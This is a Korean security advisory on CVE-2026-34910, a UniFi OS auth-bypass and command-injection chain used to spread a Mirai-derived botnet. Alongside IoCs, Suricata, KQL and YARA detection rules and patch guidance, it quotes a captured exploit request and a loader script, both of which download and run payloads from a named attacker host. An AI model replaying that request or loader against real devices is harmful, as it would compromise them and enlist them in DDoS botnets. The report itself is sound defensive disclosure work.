DEEP DIVE REPORT

CVE-2026-34910 대응 가이드: Ubiquiti UniFi OS 명령 주입 취약점 (CISA KEV, Mirai 봇넷 악용)

SecurityDesk
2026.08.02 조회 2

위협 요약

2026년 5월 21일, Ubiquiti는 보안 고지문 SAB-064를 통해 UniFi OS에 존재하는 5개 취약점을 공개했다. 이 중 CVE-2026-34910은 인증 없이 원격에서 임의 명령을 실행할 수 있는 명령 주입(Command Injection) 취약점으로, CVSS v3.1 기준 10.0(Critical) 점수를 받았다.

CISA는 2026년 6월 23일 본 취약점을 Known Exploited Vulnerabilities(KEV) 카탈로그에 등재했으며, 패치 기한을 2026년 6월 26일로 설정했다. 등재 이후 실제 In-The-Wild(ITW) 악용 사례가 관찰되었으며, Mirai/Gafgyt 계통 IoT 봇넷 임플란트 배포에 이용되고 있다.

패치 기한이 지난 현재(2026년 8월), 여전히 취약한 버전이 인터넷에 노출되어 있다면 거의 확실하게 침입 시도 또는 이미 침입당한 것으로 판단해야 한다.

취약점 개요

UniFi OS는 nginx를 프론트엔드 역방향 프록시로 운영한다. nginx는 요청 URI를 두 가지 방식으로 해석한다.

  1. 원시 URI(Raw URI): 클라이언트로부터 수신된 그대로의 URI. 공개/비공개 경로를 판정하는 데 사용된다.
  2. 정규화 URI(Normalized URI): URL 디코딩 및 경로 정규화 이후의 URI. 백엔드 라우팅에 사용된다.

공격자는 이 해석 불일치를 악용한다. URL 인코딩된 ..%2f 경로 트래버살을 포함하는 요청은 nginx에게 /api/auth/validate-sso/ 이하로 보이는 '공개 경로'처럼 인식되지만, 백엔드에서는 디코딩 후 …/proxy/users/api/v2/ucs/update/latest_package와 같은 내부 인증된 엔드포인트로 라우팅된다.

CVE-2026-34908(부적절한 접근 제어, CVSS 10.0)은 내부 헤더(X-UserId, X-UserRole, X-UserAccessMask 등)를 공격자가 조작할 수 있게 하여 권한을 우회하는 문제이다. CVE-2026-34909(경로 트래버살, CVSS 10.0)는 /app-assets/<svc>/<path>의 nginx alias 디렉티브에서 ..%2f/%2e%2e 패턴을 검증하지 않아 디스크 파일 노출이 가능한 문제이다.

도달한 /proxy/users/api/v2/ucs/update/latest_package 엔드포인트는 호출자가 제공한 pkg_name 파라미터 값을 검증 없이 셸 명령어(/bin/sh -c)에 전달한다. by_cmd=true 파라미터가 함께 전달되면 서버 측에서 셸을 호출하는 동작이 활성화된다.

공격자가 pkg_name 파라미터에 셸 메타문자($(, ), ;, |, \, &)를 주입하면, 임의 셸 명령어가 루트 권한으로 실행된다.

동일한 셸 싱크(sink)를 유효한 인증 토큰으로 접근할 경우 CVE-2026-33000(CVSS 9.1)으로 별도 분류된다. nginx gateway 우회를 거치지 않고 인증된 경로로 접근하는 경우이다. 따라서 CVE-2026-34910은 '우회 + 주입'의 복합 체인에서 최종 실행 수단으로 평가된다.

악용 조건

CVE-2026-34910의 악용에는 다음 조건이 필요하다.

  • 대상 장치가 인터넷에 노출되어 있거나, 공격자가 네트워크 접근을 보유하고 있어야 한다.
  • UniFi OS nginx 프론트엔드가 활성화된 상태여야 한다(기본 구성).
  • 별도의 인증 또는 사용자 상호작용이 필요하지 않다(PR:N/UI:N).

영향받는 제품 및 버전

Ubiquiti SAB-064 고지문에 따르면 다음 제품군이 영향을 받는다.

제품군 영향 버전 패치 버전
UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, Express 7, UNVR, UNVR-Pro, UNVR-Instant, ENVR, UCG-Ultra, UCG-Max, UCG-Fiber 5.0.16 이하 5.1.12 이상
UDR-5G, ENVR-Core, UCKP, UCK, UCK-Enterprise 5.0.17 이하 5.1.12 이상
UCG-Industrial 5.0.13 이하 5.1.12 이상
UniFi OS Server 5.0.6 이하 5.0.8 이상
UNVR-G2, UNVR-G2-Pro 5.1.11 이하 5.1.12 이상
UDM-Beast 5.1.8 이하 5.1.11 이상
UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4, UNAS-Pro-8 5.1.8 이하 5.1.10 이상

참고 — NVD CPE와 벤더 영향 버전의 차이: NVD CPE는 수정 버전 경계를 versionEndExcluding으로 모델링한다. 예: UniFi OS Server <5.0.8, 일반 계열 <5.1.12, UDM-Beast <5.1.11, UNAS <5.1.10으로 표시된다. 이는 벤더가 실제 영향 릴리스 목록을 나열하는 방식(Ubiquiti SAB-064)과 NVD가 패치 경계를 표현하는 방식이 다르기 때문이다. 두 표현을 혼동하지 않도록 주의한다.

관련 취약점

동일한 SAB-064 고지문 내에서 처리된 연동 취약점이다.

  • CVE-2026-34908: 부적절한 접근 제어 (CVSS 10.0) — 내부 헤더 조작을 통한 권한 우회
  • CVE-2026-34909: 경로 트래버살 (CVSS 10.0) — nginx alias 디렉티브의 ..%2f 검증 부족
  • CVE-2026-34911: 경로 트래버살 (CVSS 7.7) — 인증된 엔드포인트에서의 트래버살
  • CVE-2026-33000: 명령 주입 (CVSS 9.1) — 동일 셸 싱크 but 유효 토큰 필요(별도 CVE)

네 가지 취약점은 동일한 코드 베이스(UniFi OS package-update 서비스, nginx 프론트엔드)의 서로 다른 취약점을 공격한다. 공격자는 어느 하나만으로도 충분히 심각한 영향(CVSS 10.0)을 달성할 수 있으며, 체인으로 결합하면 신뢰할 수 있는 RCE를 얻을 수 있다.

기술적 분석

PwnDefend(Xservus) 연구진이 Honeypot을 통해 포착한 실제 공격 트래픽을 분석하면, 4단계 킬 체인이 확인된다.

단계 1: 단일 HTTP 요청으로 RCE 달성

포착된 실제 exploit 요청(URL 디코딩 후)은 다음과 같다.

GET /api/auth/validate-sso/../../../proxy/users/api/v2/ucs/update/latest_package
?pkg_name=x$(
  cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
  busybox wget http://185.228.26.16/zok -O zok;
  curl -o zok http://185.228.26.16/zok;
  wget http://185.228.26.16/zok;
  chmod 777 zok;
  ./zok unifi.exploit
)&by_cmd=true HTTP/1.1
Host: [redacted]:443
Source: 176.65.148.183

이 요청에서 중요한 탐지 신호는 다음과 같다.

  • by_cmd=true 파라미터: 서버 측 셸 호출을 트리거한다.
  • unifi.exploit 인자: 악의적 액터가 어떤 exploit을 통해 봇을 배포했는지 추적하는 캠페인 태그이다.

단계 2: 다중 아키텍처 로더(zok) 실행

zok은 봇 자체는 아니며 셸 로더이다. 대상 장치의 CPU 아키텍처에 맞는 이진 파일을 다운로드하여 실행한다.

binarys="mips mpsl arm arm5 arm6 arm7 x86 arc sh4 ppc spc i5 i6 m68k"
server_ip="185.228.26.16"
binname="azsxd"
output="cron.azsxd"

for arch in $binarys; do
  wget http://$server_ip/$binname.$arch -O $output \
  || curl -o $output http://$server_ip/$binname.$arch \
  || tftp -g -l $output -r $binname.$arch $server_ip \
  || tftp $server_ip -c get $binname.$arch -l $output
  chmod 777 $output
  ./$output $1.$arch
  rm -rf $binname.$arch; rm -rf $output
done

로더의 특징적 행동이다.

  • TFTP 폴백: wget/curl이 없는 경량 환경에서 TFTP(UDP 69)를 사용한다.
  • 반 포렌식: 실행 파일이 메모리 상에서 실행되는 동안 디스크에서 삭제된다.
  • 마스크링: 출력 파일을 cron.azsxd로 명명하여 스케줄드 작업 아티팩트처럼 위장한다.

단계 3: Mirai 임플란트(azsxd v2.0) 실행

azsxd는 Mirai/Gafgyt 계통의 IoT 봇으로, 정적 링크, 스트립된 ELF 64-bit x86-64 이진 파일이다.

속성
패밀리 Mirai / Gafgyt-derivative ("azsxd" v2.0)
형식 ELF 64-bit x86-64, statically linked, stripped
크기 66,976 bytes
SHA-256 5833e2344434022e18e22c4b93dc4a7710908fd03312499014d5cabf06bfc459
MD5 01f64cac27788be2748a15ded358802c

C2(Command & Control) 서버 주소는 이진 파일 내 인코딩된 문자열 테이블에 저장되어 있으며, 런타임에 디코딩된다. 샌드박스 격리 환경에서 네트워크 트래픽을 캡처해야 실제 C2 엔드포인트를 식별할 수 있다.

단계 4: 봇넷 참여

임플란트 실행 후 장치는 C2 서버에 등록되고 DDoS, 포트 스캔, 기타 맬웨어 배포 등 봇넷 운영자의 지시에 따른다.

Mirai/Gafgyt 계통 봇넷은 기업 네트워크의 대역폭 고갈, 서비스 불가, 사보타주, 그리고 차기 공격의 발판으로 사용된다. 특히 게이트웨이 장치가 감염되면 내부 네트워크 전체에 대한 공격 벡터가 열린다.

영향 범위

엔터프라이즈 리스크

Ubiquiti UniFi 장치는 기업의 네트워크 진입점(게이트웨이, 방화벽, 무선 AP 컨트롤러)으로 널리 배포된다. CVE-2026-34910이 이러한 장치에 악용될 경우:

  • 네트워크 정복: 게이트웨이 장치를 통해 내부 네트워크 전체를 장악할 수 있다.
  • 데이터 유출: 네트워크 트래픽 스니핑, SSL/TLS 터미네이션 키 노출.
  • 서비스 거부: 봇넷 활동을 통한 대역폭 소모 및 서비스 불가.
  • 사보타주: 임의 명령 실행을 통한 설정 변경, 펌웨어 손상, 장치를 통한 사슬 공격.

CISA KEV 등재의 의미

CISA KEV 등재는 다음과 같은 의미를 가진다.

  • 연방 기관은 BOD 26-04에 따라 해당 취약점에 대한 패치를 필수적으로 적용해야 한다.
  • 패치 기한인 2026년 6월 26일 이후에도 패치되지 않은 시스템은 규정 준수 위반 상태로 간주된다.
  • 민간 조직도 KEV 카탈로그를 취약점 관리 우선순위 프레임워크의 입력값으로 사용해야 한다.

KEV 등재는 해당 취약점이 이미 실제 환경에서 악용되고 있다는 공식 확인이다.

Indicators of Compromise (IoC)

지표 유형 역할
176.65.148.183 (전체 /24) IPv4 Exploit 실행 소스 (Pfcloud UG)
185.228.26.16 IPv4 스테징 / 페이로드 호스트 (HTTP + TFTP)
http://185.228.26.16/zok URL Stage-2 로더 스크립트
http://185.228.26.16/azsxd.<arch> URL 임플란트 (14 아키텍처 변형)
5833e234…06bfc459 SHA-256 azsxd 임플란트 (x86-64)
zok, azsxd.*, cron.azsxd 파일명 로더 및 임플란트 아티팩트
unifi.exploit.<arch> 프로세스 인자 캠페인 / 벡터 태그

대응 방안

네트워크 탐지 — Suricata IDS 규칙

다음 Suricata 규칙을 적용하면 exploit 요청 및 로더 다운로드를 탐지할 수 있다.

# 1) SAB-064 exploit 요청 시그니처
alert http any any -> $HOME_NET any (
  msg:"XSV UniFi SAB-064 auth-bypass + cmd injection attempt";
  flow:established,to_server;
  http.uri; content:"/api/auth/validate-sso/";
  content:"ucs/update/latest_package"; distance:0;
  pcre:"/(\x25(2e|2f)|\.\.\x2f|\x24\x28)/i";
  classtype:web-application-attack; sid:9008064; rev:1;
)

# 2) Mirai 로더/임플란트 다운로드
alert http any any -> any any (
  msg:"XSV Mirai loader/implant retrieval (zok/azsxd)";
  flow:established,to_server; http.method; content:"GET";
  http.uri; pcre:"/\/(zok|azsxd(\.[a-z0-9]+)?)$/i";
  classtype:trojan-activity; sid:9008065; rev:1;
)

# 3) TFTP 스테징 호스트 아웃바운드 (UDP/69)
alert udp $HOME_NET any -> 185.228.26.16 69 (
  msg:"XSV outbound TFTP to known staging host";
  classtype:trojan-activity; sid:9008066; rev:1;
)

SIEM 탐지 — Microsoft Sentinel KQL

// 1) 프록시/방화벽 URI 로그에서 SAB-064 exploit 요청
CommonSecurityLog
| where RequestURL has "validate-sso"
  and RequestURL has "ucs/update/latest_package"
| where RequestURL has_any ("%2e", "%2f", "..", "$(")
| project TimeGenerated, SourceIP, DestinationIP, RequestURL, DeviceVendor

// 2) 리눅스 엔드포인트의 로더 다운로드 체인
DeviceProcessEvents
| where FileName in ("wget","curl","tftp","busybox")
| where ProcessCommandLine has "185.228.26.16"
   or ProcessCommandLine has_any ("zok","azsxd","cron.azsxd")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

호스트 탐지 — 삭제된 바이너리 식별

로더가 실행 파일을 실행 중에 삭제하므로, /proc/*/exe에서 삭제된 실행 파일에 연결된 프로세스를 찾는 것이 가장 높은 신뢰도의 호스트 신호이다.

# 디스크에서 삭제되었지만 실행 중인 프로세스
ls -l /proc/*/exe 2>/dev/null | grep -i deleted

# hit 발견 시 명령어 라인 확인 및 이미지 복구
cat /proc/<pid>/cmdline | tr '\0' ' '; echo
cp /proc/<pid>/exe /tmp/recovered.elf

# 파일 시스템 잔류물 검색
find /tmp /var/run /mnt /root / -maxdepth 2 \
  \( -name 'cron.azsxd' -o -name 'azsxd.*' -o -name 'zok' \) 2>/dev/null

# UniFi 특이 sudo 활동
grep -E 'ucs-update.*(dpkg|chmod|systemctl)' /var/log/auth.log 2>/dev/null

YARA 규칙 — azsxd 임플란트 식별

rule MiraiVariant_azsxd_x86_64 {
  meta:
    description = "Mirai/Gafgyt-derived bot 'azsxd' v2.0, x86-64 build"
    author = "Xservus Limited"
    sha256 = "5833e2344434022e18e22c4b93dc4a7710908fd03312499014d5cabf06bfc459"
    reference = "UniFi SAB-064 exploitation campaign"
  strings:
    $cfg = { 07 a7 b8 01 ff 7c 6a 50 ed d3 77 fc 7b 27 c6 61 43 55 50 65 6a 76 }
    $v = "2.0" fullword
    $a = "x86" fullword
  condition:
    uint32(0) == 0x464c457f
    and filesize < 120KB
    and $cfg and $a and $v
}

패치 및 완화 우선순위

즉시 조치 (0일 이내)

  • 패치 적용: 모든 UniFi OS 장치를 SAB-064 패치 버전으로 즉시 업데이트한다.
  • UniFi OS Server → 5.0.8 이상
  • UDM-Beast → 5.1.11 이상
  • UNAS 시리즈 → 5.1.10 이상
  • 그 외 대부분의 장치 → 5.1.12 이상
  • 침입 확인: 패치 버전 미만이며 인터넷에 노출된 장치는 이미 침해당한 것으로 가정하고 다음 조치를 수행한다.
  • JWT 서명 키, TLS 키, 클라우드 토큰, RADIUS/WiFi/VPN 자격 증명, 데이터베이스 비밀번호 모두 교체
  • 모든 세션 강제 로그아웃 후 재부팅

단기 조치 (7일 이내)

  • 탐지 규칙 배포: 위의 Suricata, KQL, YARA 규칙을 생산 환경에 배포하고 튜닝한다.
  • 네트워크 세그먼테이션: UniFi 장치가 인터넷에 직접 노출되지 않도록 확인하고, 필요한 경우 네트워크 어댑터(NAP) 또는 방화벽 뒤에 배치한다.
  • TFTP 아웃바운드 모니터링: UDP 69 아웃바운드 트래픽을 모니터링하고, 필요 없으면 차단한다.
  • 전체 인벤토리 점검: 조직 내 모든 Ubiquiti 장치의 현재 UniFi OS 버전을 확인하고, 패치 대상 목록을 작성한다.

장기 조치 (30일 이내)

  • 침입 시그니처 정기 업데이트: 새로운 exploit 변형 및 IoC를 탐지 규칙에 반영한다.
  • Sandbox 분석 인프라: 감염된 이진 파일을 격리 환경에서 분석할 수 있는 샌드박스 환경을 구축한다.
  • BOD 26-04 준수 검증: CISA BOD 26-04 Prioritizing Security Updates Based on Risk 가이드라인에 따른 취약점 관리 프로세스를 검증하고 문서화한다.
  • Zero Trust 아키텍처 검토: 네트워크 진입점 장치가 침해당했을 경우의 손상 한계를 평가하고, Zero Trust 원칙을 적용하여 추가 방어 계층을 구축한다.

참고문헌

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34910
  • CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-34910
  • CISA KEV JSON 피드: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (.vulnerabilities[] | select(.cveID=="CVE-2026-34910") 1건, 등재일 2026-06-23·기한 2026-06-26)
  • Ubiquiti SAB-064: https://community.ui.com/releases/Security-Advisory-Bulletin-064-064/84811c09-4cf4-42ab-bd61-cc994445963b
  • PwnDefend ITW 분석: https://www.pwndefend.com/2026/06/09/cve-2026-34910-exploitation-itw-building-a-botnet-mirai/

본 콘텐츠는 AI 기술로 작성된 분석 리포트를 포함하고 있습니다. 내용 중 사실과 다르거나 보완이 필요한 정보를 발견하셨으면 댓글을 통해 의견을 부탁드립니다. 여러분의 피드백은 더 정확한 보안 정보 공유에 큰 도움이 됩니다.

댓글 (0)

댓글을 작성하려면 로그인이 필요합니다.

로그인

아직 댓글이 없습니다.

첫 번째 댓글을 작성해보세요!

IT 도구 서랍

→ Unix: 2025-01-15T09:30:00
→ 날짜: 1736934600

→ ASCII: ABC
→ 문자: 65 66 67

ASCII 코드표 — 클릭하면 입력란에 추가

DecHex약어설명
DecHex문자
DecHex문자

→ 유니코드: 홍길동
→ 문자: \ud64d\uae38\ub3d9